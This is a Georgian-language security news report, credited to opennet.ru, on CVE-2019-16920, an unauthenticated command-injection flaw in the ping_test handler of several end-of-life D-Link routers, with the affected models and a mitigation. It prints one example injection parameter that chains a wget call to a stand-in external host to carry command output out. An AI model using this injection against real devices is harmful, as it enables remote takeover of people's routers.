დისტანციურად ექსპლუატირებადი დაუცველობა D-Link მარშრუტიზატორებში

D-Link უკაბელო მარშრუტიზატორებში იდენტიფიცირებული საშიში დაუცველობა (CVE-2019–16920), რომელიც საშუალებას გაძლევთ დისტანციურად შეასრულოთ კოდი მოწყობილობის მხარეს სპეციალური მოთხოვნის გაგზავნით "ping_test" დამმუშავებელთან, რომელიც ხელმისაწვდომია ავტორიზაციის გარეშე.

საინტერესოა, რომ firmware დეველოპერების თქმით, "ping_test" ზარი უნდა შესრულდეს მხოლოდ ავტორიზაციის შემდეგ, მაგრამ სინამდვილეში ის იწოდება ნებისმიერ შემთხვევაში, მიუხედავად ვებ ინტერფეისში შესვლისა. კერძოდ, application_sec.cgi სკრიპტზე წვდომისას და “action=ping_test” პარამეტრის გავლისას სკრიპტი გადამისამართდება ავტორიზაციის გვერდზე, მაგრამ ამავე დროს ასრულებს ping_test-თან დაკავშირებულ მოქმედებას. კოდის შესასრულებლად გამოიყენეს კიდევ ერთი დაუცველობა თავად ping_test-ში, რომელიც იძახებს ping უტილიტას ტესტირებისთვის გაგზავნილი IP მისამართის სისწორის სათანადოდ შემოწმების გარეშე. მაგალითად, wget უტილიტის გამოსაძახებლად და გარე ჰოსტზე „echo 1234“ ბრძანების შედეგების გადასატანად, უბრალოდ მიუთითეთ პარამეტრი „ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$(echo 1234)".

დაუცველობის არსებობა ოფიციალურად დადასტურდა შემდეგ მოდელებში:

• DIR-655 firmware 3.02b05 ან უფრო ძველი;
• DIR-866L firmware 1.03b04 ან უფრო ძველი;
• DIR-1565 1.01 ან უფრო ძველი პროგრამული უზრუნველყოფით;
• DIR-652 (არ არის მოწოდებული ინფორმაცია პრობლემური პროგრამული უზრუნველყოფის ვერსიების შესახებ)

ამ მოდელების მხარდაჭერის ვადა უკვე ამოიწურა, ამიტომ D-Link განაცხადა, რომელიც არ გამოუშვებს მათ განახლებებს დაუცველობის აღმოსაფხვრელად, არ გირჩევთ მათ გამოყენებას და ურჩევს მათ ჩანაცვლებას ახალი მოწყობილობებით. როგორც უსაფრთხოების გამოსავალი, შეგიძლიათ შეზღუდოთ წვდომა ვებ ინტერფეისზე მხოლოდ სანდო IP მისამართებით.

მოგვიანებით გაირკვა, რომ დაუცველობაც იყო გავლენას ახდენს მოდელები DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 და DIR-825, განახლებების გამოქვეყნების გეგმები, რომელთა შესახებ ჯერ უცნობია.

წყარო: opennet.ru